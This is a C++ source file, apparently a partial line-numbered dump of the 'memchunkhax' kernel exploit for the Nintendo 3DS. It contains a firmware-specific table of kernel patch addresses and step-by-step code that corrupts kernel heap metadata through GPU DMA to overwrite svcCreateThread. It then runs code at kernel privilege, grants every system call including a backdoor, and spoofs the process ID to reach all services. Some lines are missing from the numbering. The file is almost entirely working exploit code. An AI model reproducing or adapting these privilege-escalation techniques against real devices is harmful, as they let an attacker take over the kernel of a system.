10 #include "khaxinternal.h"
\r
12 //------------------------------------------------------------------------------------------------
\r
15 //------------------------------------------------------------------------------------------------
\r
16 // Kernel and hardware version information.
\r
21 // Kernel version number
\r
22 u32 m_kernelVersion;
\r
23 // Nominal version number lower bound (for informational purposes only)
\r
24 u32 m_nominalVersion;
\r
25 // Patch location in svcCreateThread
\r
26 u32 m_threadPatchAddress;
\r
27 // Original version of code at m_threadPatchAddress
\r
28 static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;
\r
29 // System call unlock patch location
\r
30 u32 m_syscallPatchAddress;
\r
31 // Kernel virtual address mapping of FCRAM
\r
32 u32 m_fcramVirtualAddress;
\r
33 // Physical mapping of FCRAM on this machine
\r
34 static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;
\r
35 // Physical size of FCRAM on this machine
\r
37 // Address of KThread address in kernel (KThread **)
\r
38 static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);
\r
39 // Address of KProcess address in kernel (KProcess **)
\r
40 static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);
\r
41 // Pseudo-handle of the current KProcess.
\r
42 static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;
\r
43 // Returned pointers within a KProcess object. This abstracts out which particular
\r
44 // version of the KProcess object is in use.
\r
45 struct KProcessPointers
\r
47 KSVCACL *m_svcAccessControl;
\r
51 // Creates a KProcessPointers for this kernel version and pointer to the object.
\r
52 KProcessPointers(*m_makeKProcessPointers)(void *kprocess);
\r
54 // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
\r
55 // address using the version-specific information in this table entry.
\r
56 void *ConvertLinearUserVAToKernelVA(void *address) const;
\r
58 // Retrieve a VersionData for this kernel, or null if not recognized.
\r
59 static const VersionData *GetForCurrentSystem();
\r
62 // Implementation behind m_makeKProcessPointers.
\r
63 template <typename KProcessType>
\r
64 static KProcessPointers MakeKProcessPointers(void *kprocess);
\r
67 static const VersionData s_versionTable[];
\r
70 //------------------------------------------------------------------------------------------------
\r
71 // ARM11 kernel hack class.
\r
75 // Construct using the version information for the current system.
\r
76 MemChunkHax(const VersionData *versionData)
\r
77 : m_versionData(versionData),
\r
80 m_overwriteMemory(nullptr),
\r
81 m_overwriteAllocated(0),
\r
82 m_extraLinear(nullptr)
\r
87 // Free memory and such.
\r
90 // Umm, don't copy this class.
\r
91 MemChunkHax(const MemChunkHax &) = delete;
\r
92 MemChunkHax &operator =(const MemChunkHax &) = delete;
\r
94 // Basic initialization.
\r
95 Result Step1_Initialize();
\r
96 // Allocate linear memory for the memchunkhax operation.
\r
97 Result Step2_AllocateMemory();
\r
98 // Free the second and fourth pages of the five.
\r
99 Result Step3_SurroundFree();
\r
100 // Verify that the freed heap blocks' data matches our expected layout.
\r
101 Result Step4_VerifyExpectedLayout();
\r
102 // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
\r
103 Result Step5_CorruptCreateThread();
\r
104 // Execute svcCreateThread to execute code at SVC privilege.
\r
105 Result Step6_ExecuteSVCCode();
\r
106 // Grant access to all services.
\r
107 Result Step7_GrantServiceAccess();
\r
110 // SVC-mode entry point thunk (true entry point).
\r
111 static Result Step6a_SVCEntryPointThunk();
\r
112 // SVC-mode entry point.
\r
113 Result Step6b_SVCEntryPoint();
\r
114 // Undo the code patch that Step5_CorruptCreateThread did.
\r
115 Result Step6c_UndoCreateThreadPatch();
\r
116 // Fix the heap corruption caused as a side effect of step 5.
\r
117 Result Step6d_FixHeapCorruption();
\r
118 // Grant our process access to all system calls, including svcBackdoor.
\r
119 Result Step6e_GrantSVCAccess();
\r
120 // Flush instruction and data caches.
\r
121 Result Step6f_FlushCaches();
\r
122 // Patch the process ID to 0. Runs as svcBackdoor.
\r
123 static Result Step7a_PatchPID();
\r
124 // Restore the original PID. Runs as svcBackdoor.
\r
125 static Result Step7b_UnpatchPID();
\r
127 // Helper for dumping memory to SD card.
\r
128 template <std::size_t S>
\r
129 bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;
\r
131 // Result returned by hacked svcCreateThread upon success.
\r
132 static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;
\r
134 // Version information.
\r
135 const VersionData *const m_versionData;
\r
136 // Next step number.
\r
138 // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.
\r
141 // Free block structure in the kernel, the one used in the memchunkhax exploit.
\r
142 struct HeapFreeBlock
\r
145 HeapFreeBlock *m_next;
\r
146 HeapFreeBlock *m_prev;
\r
151 // The layout of a memory page.
\r
154 unsigned char m_bytes[4096];
\r
155 HeapFreeBlock m_freeBlock;
\r
158 // The linear memory allocated for the memchunkhax overwrite.
\r
159 struct OverwriteMemory
\r
163 unsigned char m_bytes[6 * 4096];
\r
167 OverwriteMemory *m_overwriteMemory;
\r
168 unsigned m_overwriteAllocated;
\r
170 // Additional linear memory buffer for temporary purposes.
\r
171 union ExtraLinearMemory
\r
173 ALIGN(64) unsigned char m_bytes[64];
\r
174 // When interpreting as a HeapFreeBlock.
\r
175 HeapFreeBlock m_freeBlock;
\r
177 // Must be a multiple of 16 for use with gspwn.
\r
178 static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");
\r
179 ExtraLinearMemory *m_extraLinear;
\r
181 // Copy of the old ACL
\r
184 // Original process ID.
\r
187 // Buffers for dumped data when debugging.
\r
188 #ifdef KHAX_DEBUG_DUMP_DATA
\r
189 unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];
\r
190 unsigned char m_savedKThread[sizeof(KThread)];
\r
191 unsigned char m_savedThreadSVC[0x100];
\r
194 // Pointer to our instance.
\r
195 static MemChunkHax *volatile s_instance;
\r
198 //------------------------------------------------------------------------------------------------
\r
199 // Make an error code
\r
200 inline Result MakeError(Result level, Result summary, Result module, Result error);
\r
201 enum : Result { KHAX_MODULE = 254 };
\r
202 // Check whether this system is a New 3DS.
\r
203 Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);
\r
204 // gspwn, meant for reading from or writing to freed buffers.
\r
205 Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);
\r
206 // Given a pointer to a structure that is a member of another structure,
\r
207 // return a pointer to the outer structure. Inspired by Windows macro.
\r
208 template <typename Outer, typename Inner>
\r
209 Outer *ContainingRecord(Inner *member, Inner Outer::*field);
\r
213 //------------------------------------------------------------------------------------------------
\r
215 // Class VersionData
\r
218 //------------------------------------------------------------------------------------------------
\r
219 // Creates a KProcessPointers for this kernel version and pointer to the object.
\r
220 template <typename KProcessType>
\r
221 KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)
\r
223 KProcessType *kproc = static_cast<KProcessType *>(kprocess);
\r
225 KProcessPointers result;
\r
226 result.m_svcAccessControl = &kproc->m_svcAccessControl;
\r
227 result.m_processID = &kproc->m_processID;
\r
228 result.m_kernelFlags = &kproc->m_kernelFlags;
\r
232 //------------------------------------------------------------------------------------------------
\r
233 // System version table
\r
234 const KHAX::VersionData KHAX::VersionData::s_versionTable[] =
\r
236 #define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>
\r
238 // Old 3DS, old address layout
\r
239 { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
\r
240 { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
\r
241 { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
\r
242 { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
\r
243 { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
\r
244 { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
\r
245 { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
\r
246 // Old 3DS, new address layout
\r
247 { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },
\r
248 { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },
\r
250 { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested
\r
251 { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },
\r
256 //------------------------------------------------------------------------------------------------
\r
257 // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
\r
258 // address using the version-specific information in this table entry.
\r
259 void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const
\r
261 static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),
\r
262 "you're sure that this is a 3DS?");
\r
264 // Need the pointer as an integer.
\r
265 u32 addr = reinterpret_cast<u32>(address);
\r
267 // Convert the address to a physical address, since that's how we know the mapping.
\r
268 u32 physical = osConvertVirtToPhys(addr);
\r
274 // Verify that the address is within FCRAM.
\r
275 if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))
\r
280 // Now we can convert.
\r
281 return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);
\r
284 //------------------------------------------------------------------------------------------------
\r
285 // Retrieve a VersionData for this kernel, or null if not recognized.
\r
286 const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()
\r
288 // Get kernel version for comparison.
\r
289 u32 kernelVersion = osGetKernelVersion();
\r
291 // Determine whether this is a New 3DS.
\r
293 if (IsNew3DS(&isNew3DS, kernelVersion) != 0)
\r
298 // Search our list for a match.
\r
299 for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)
\r
301 // New 3DS flag must match.
\r
302 if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))
\r
306 // Kernel version must match.
\r
307 if (entry->m_kernelVersion != kernelVersion)
\r
319 //------------------------------------------------------------------------------------------------
\r
321 // Class MemChunkHax
\r
324 //------------------------------------------------------------------------------------------------
\r
325 KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;
\r
327 //------------------------------------------------------------------------------------------------
\r
328 // Basic initialization.
\r
329 Result KHAX::MemChunkHax::Step1_Initialize()
\r
331 if (m_nextStep != 1)
\r
333 KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);
\r
334 return MakeError(28, 5, KHAX_MODULE, 1016);
\r
337 // Nothing to do in current implementation.
\r
342 //------------------------------------------------------------------------------------------------
\r
343 // Allocate linear memory for the memchunkhax operation.
\r
344 Result KHAX::MemChunkHax::Step2_AllocateMemory()
\r
346 if (m_nextStep != 2)
\r
348 KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);
\r
349 return MakeError(28, 5, KHAX_MODULE, 1016);
\r
352 // Allocate the linear memory for the overwrite process.
\r
353 u32 address = 0xFFFFFFFF;
\r
354 Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,
\r
355 static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));
\r
357 KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);
\r
364 m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);
\r
365 m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now
\r
367 // Why didn't we get a page-aligned address?!
\r
368 if (address & 0xFFF)
\r
370 // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.
\r
371 KHAX_printf("Step2:misaligned memory\n");
\r
372 return MakeError(26, 7, KHAX_MODULE, 1009);
\r
375 // Allocate extra memory that we'll need.
\r
376 m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),
\r
377 alignof(*m_extraLinear)));
\r
378 if (!m_extraLinear)
\r
380 KHAX_printf("Step2:failed extra alloc\n");
\r
381 return MakeError(26, 3, KHAX_MODULE, 1011);
\r
383 KHAX_printf("Step2:extra=%p\n", m_extraLinear);
\r
385 // OK, we're good here.
\r
390 //------------------------------------------------------------------------------------------------
\r
391 // Free the second and fourth pages of the five.
\r
392 Result KHAX::MemChunkHax::Step3_SurroundFree()
\r
394 if (m_nextStep != 3)
\r
396 KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);
\r
397 return MakeError(28, 5, KHAX_MODULE, 1016);
\r
400 // We do this because the exploit involves triggering a heap coalesce. We surround a heap
\r
401 // block (page) with two freed pages, then free the middle page. By controlling both outside
\r
402 // pages, we know their addresses, and can fix up the corrupted heap afterward.
\r
404 // Here's what the heap will look like after step 3:
\r
408 // _ = unknown (could be allocated and owned by other code)
\r
410 // - = allocated then freed by us
\r
412 // In step 4, we will free the second page:
\r
416 // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's
\r
417 // "previous" pointer will be set to point to the second page rather than the third. We will
\r
418 // use gspwn to make that overwrite kernel code instead.
\r
420 // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little
\r
421 // sandbox to play in. In particular, we can use this design to determine the address of the
\r
422 // next block--by controlling the location of the next block.
\r
425 // Free the third page.
\r
426 if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,
\r
427 sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))
\r
429 KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);
\r
432 m_overwriteAllocated &= ~(1u << 2);
\r
434 // Free the fifth page.
\r
435 if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,
\r
436 sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))
\r
438 KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);
\r
441 m_overwriteAllocated &= ~(1u << 4);
\r
443 // Attempt to write to remaining pages.
\r
444 //KHAX_printf("Step2:probing page [0]\n");
\r
445 *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;
\r
446 //KHAX_printf("Step2:probing page [1]\n");
\r
447 *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;
\r
448 //KHAX_printf("Step2:probing page [3]\n");
\r
449 *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;
\r
450 //KHAX_printf("Step2:probing page [5]\n");
\r
451 *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;
\r
452 KHAX_printf("Step3:probing done\n");
\r
459 //------------------------------------------------------------------------------------------------
\r
460 // Verify that the freed heap blocks' data matches our expected layout.
\r
461 Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()
\r
463 if (m_nextStep != 4)
\r
465 KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);
\r
466 return MakeError(28, 5, KHAX_MODULE, 1016);
\r
469 // Copy the first freed page (third page) out to read its heap metadata.
\r
470 std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));
\r
472 if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],
\r
473 sizeof(*m_extraLinear)))
\r
475 KHAX_printf("Step4:gspwn failed:%08lx\n", result);
\r
479 // Debug information about the memory block
\r
480 KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->
\r
481 ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));
\r
482 KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
\r
483 m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
\r
485 // The next page from the third should equal the fifth page.
\r
486 if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(
\r
487 &m_overwriteMemory->m_pages[4]))
\r
489 KHAX_printf("Step4:[2]->next != [4]\n");
\r
490 KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,
\r
491 m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),
\r
492 &m_overwriteMemory->m_pages[4]);
\r
493 return MakeError(26, 5, KHAX_MODULE, 1014);
\r
496 // Copy the second freed page (fifth page) out to read its heap metadata.
\r
497 std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));
\r
499 if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],
\r
500 sizeof(*m_extraLinear)))
\r
502 KHAX_printf("Step4:gspwn failed:%08lx\n", result);
\r
506 KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->
\r
507 ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));
\r
508 KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
\r
509 m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
\r
511 // The previous page from the fifth should equal the third page.
\r
512 if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(
\r
513 &m_overwriteMemory->m_pages[2]))
\r
515 KHAX_printf("Step4:[4]->prev != [2]\n");
\r
516 KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,
\r
517 m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),
\r
518 &m_overwriteMemory->m_pages[2]);
\r
519 return MakeError(26, 5, KHAX_MODULE, 1014);
\r
522 // Validation successful
\r
527 //------------------------------------------------------------------------------------------------
\r
528 // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
\r
529 Result KHAX::MemChunkHax::Step5_CorruptCreateThread()
\r
531 if (m_nextStep != 5)
\r
533 KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);
\r
534 return MakeError(28, 5, KHAX_MODULE, 1016);
\r
537 // Read the memory page we're going to gspwn.
\r
538 if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,
\r
539 sizeof(*m_extraLinear)))
\r
541 KHAX_printf("Step5:gspwn read failed:%08lx\n", result);
\r
545 // Adjust the "next" pointer to point to within the svcCreateThread system call so as to
\r
546 // corrupt certain instructions. The result will be that calling svcCreateThread will result
\r
547 // in executing our code.
\r
548 // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.
\r
549 // That is, the overwrite adds this offset back in.
\r
550 m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(
\r
551 m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));
\r
553 // Do the GSPwn, the actual exploit we've been waiting for.
\r
554 if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,
\r
555 sizeof(*m_extraLinear)))
\r
557 KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);
\r
561 // The heap is now corrupted in two ways (Step6 explains why two ways).
\r
564 KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");
\r
566 // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third
\r
567 // page into the second page, and in the process zap an instruction pair in svcCreateThread.
\r
569 if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),
\r
570 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))
\r
572 KHAX_printf("Step5:free to pwn failed:%08lx\n", result);
\r
575 m_overwriteAllocated &= ~(1u << 1);
\r
577 // We have an additional layer of instability because of the kernel code overwrite.
\r
580 KHAX_printf("Step5:svcCreateThread now hacked\n");
\r
586 //------------------------------------------------------------------------------------------------
\r
587 // Execute svcCreateThread to execute code at SVC privilege.
\r
588 Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()
\r
590 if (m_nextStep != 6)
\r
592 KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);
\r
593 return MakeError(28, 5, KHAX_MODULE, 1016);
\r
596 // Call svcCreateThread such that r0 is the desired exploit function. Note that the
\r
597 // parameters to the usual system call thunk are rearranged relative to the actual system call
\r
598 // - the thread priority parameter is actually the one that goes into r0. In addition, we
\r
599 // want to pass other parameters that make for an illegal thread creation request, because the
\r
600 // rest of the thread creation SVC occurs before the hacked code gets executed. We want the
\r
601 // thread creation request to fail, then the hack to grant us control. Processor ID
\r
602 // 0x7FFFFFFF seems to do the trick here.
\r
603 Handle dummyHandle;
\r
604 Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(
\r
605 Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());
\r
607 KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);
\r
609 if (result != STEP6_SUCCESS_RESULT)
\r
611 // If the result was 0, something actually went wrong.
\r
614 result = MakeError(27, 11, KHAX_MODULE, 1023);
\r
621 char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];
\r
622 char *sp = oldACLString;
\r
623 for (unsigned char b : m_oldACL)
\r
625 *sp++ = "0123456789abcdef"[b >> 4];
\r
626 *sp++ = "0123456789abcdef"[b & 15];
\r
630 KHAX_printf("oldACL:%s\n", oldACLString);
\r
637 //------------------------------------------------------------------------------------------------
\r
638 // SVC-mode entry point thunk (true entry point).
\r
640 __attribute__((__naked__))
\r
642 Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()
\r
644 __asm__ volatile("add sp, sp, #8");
\r
646 register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();
\r
648 __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));
\r
651 //------------------------------------------------------------------------------------------------
\r
652 // SVC-mode entry point.
\r
654 __attribute__((__noinline__))
\r
656 Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()
\r
658 if (Result result = Step6c_UndoCreateThreadPatch())
\r
662 if (Result result = Step6d_FixHeapCorruption())
\r
666 if (Result result = Step6e_GrantSVCAccess())
\r
670 if (Result result = Step6f_FlushCaches())
\r
675 return STEP6_SUCCESS_RESULT;
\r
678 //------------------------------------------------------------------------------------------------
\r
679 // Undo the code patch that Step5_CorruptCreateThread did.
\r
680 Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()
\r
682 // Unpatch svcCreateThread. NOTE: Misaligned pointer.
\r
683 *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->
\r
684 m_threadPatchOriginalCode;
\r
690 //------------------------------------------------------------------------------------------------
\r
691 // Fix the heap corruption caused as a side effect of step 5.
\r
692 Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()
\r
694 // The kernel's heap coalesce code seems to be like the following for the case we triggered,
\r
695 // where we're freeing a block before ("left") an adjacent block ("right"):
\r
697 // (1) left->m_count += right->m_count;
\r
698 // (2) left->m_next = right->m_next;
\r
699 // (3) right->m_next->m_prev = left;
\r
701 // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point
\r
702 // to where we want to patch, such that the write to m_prev is the desired code overwrite.
\r
703 // (2) is copying the value we put into right->m_next to accomplish (3).
\r
705 // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to
\r
706 // point to the correct next free block, and do the write to right->m_next->m_prev that didn't
\r
707 // happen because it instead was writing to kernel code.
\r
709 // "left" is the second overwrite page.
\r
710 auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
\r
711 &m_overwriteMemory->m_pages[1].m_freeBlock));
\r
712 // "right->m_next" is the fifth overwrite page.
\r
713 auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
\r
714 &m_overwriteMemory->m_pages[4].m_freeBlock));
\r
716 // Do the two fixups.
\r
717 left->m_next = rightNext;
\r
720 rightNext->m_prev = left;
\r
726 //------------------------------------------------------------------------------------------------
\r
727 // Grant our process access to all system calls, including svcBackdoor.
\r
728 Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()
\r
730 // Everything, except nonexistent services 00, 7E or 7F.
\r
731 static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";
\r
733 // Get the KThread pointer. Its type doesn't vary, so far.
\r
734 KThread *kthread = *m_versionData->m_currentKThreadPtr;
\r
737 #ifdef KHAX_DEBUG_DUMP_DATA
\r
738 // Get the KProcess pointer, whose type varies by kernel version.
\r
739 void *kprocess = *m_versionData->m_currentKProcessPtr;
\r
741 void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));
\r
742 std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));
\r
743 std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));
\r
744 std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));
\r
747 // Get a pointer to the SVC ACL within the SVC area for the thread.
\r
748 SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);
\r
749 KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;
\r
751 // Save the old one for diagnostic purposes.
\r
752 std::memcpy(m_oldACL, threadACL, sizeof(threadACL));
\r
754 // Set the ACL for the current thread.
\r
755 std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));
\r
760 //------------------------------------------------------------------------------------------------
\r
761 // Flush instruction and data caches.
\r
762 Result KHAX::MemChunkHax::Step6f_FlushCaches()
\r
764 // Invalidates the entire instruction cache.
\r
767 "mcr p15, 0, r0, c7, c5, 0\n\t");
\r
769 // Invalidates the entire data cache.
\r
772 "mcr p15, 0, r0, c7, c10, 0\n\t");
\r
777 //------------------------------------------------------------------------------------------------
\r
778 // Grant access to all services.
\r
779 Result KHAX::MemChunkHax::Step7_GrantServiceAccess()
\r
781 // Backup the original PID.
\r
782 Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);
\r
785 KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);
\r
789 KHAX_printf("Step7:current pid=%lu\n", m_originalPID);
\r
791 // Patch the PID to 0, granting access to all services.
\r
792 svcBackdoor(Step7a_PatchPID);
\r
794 // Check whether PID patching succeeded.
\r
796 result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
\r
799 // Attempt patching back anyway, for stability reasons.
\r
800 svcBackdoor(Step7b_UnpatchPID);
\r
801 KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);
\r
807 KHAX_printf("Step7:nonzero:%lu\n", newPID);
\r
808 return MakeError(27, 11, KHAX_MODULE, 1023);
\r
811 // Reinit ctrulib's srv connection to gain access to all services.
\r
815 // Restore the original PID now that srv has been tricked into thinking that we're PID 0.
\r
816 svcBackdoor(Step7b_UnpatchPID);
\r
818 // Check whether PID restoring succeeded.
\r
819 result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
\r
822 KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);
\r
826 if (newPID != m_originalPID)
\r
828 KHAX_printf("Step7:not same:%lu\n", newPID);
\r
829 return MakeError(27, 11, KHAX_MODULE, 1023);
\r
835 //------------------------------------------------------------------------------------------------
\r
836 // Patch the PID to 0.
\r
837 Result KHAX::MemChunkHax::Step7a_PatchPID()
\r
839 // Disable interrupts ASAP.
\r
840 // FIXME: Need a better solution for this.
\r
841 __asm__ volatile("cpsid aif");
\r
843 // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers
\r
844 // to translate the raw KProcess pointer into pointers into key fields, and we access the
\r
845 // m_processID field from it.
\r
846 *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
\r
851 //------------------------------------------------------------------------------------------------
\r
852 // Restore the original PID.
\r
853 Result KHAX::MemChunkHax::Step7b_UnpatchPID()
\r
855 // Disable interrupts ASAP.
\r
856 // FIXME: Need a better solution for this.
\r
857 __asm__ volatile("cpsid aif");
\r
859 // Patch the PID back to the original value.
\r
860 *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
\r
861 .m_processID) = s_instance->m_originalPID;
\r
865 //------------------------------------------------------------------------------------------------
\r
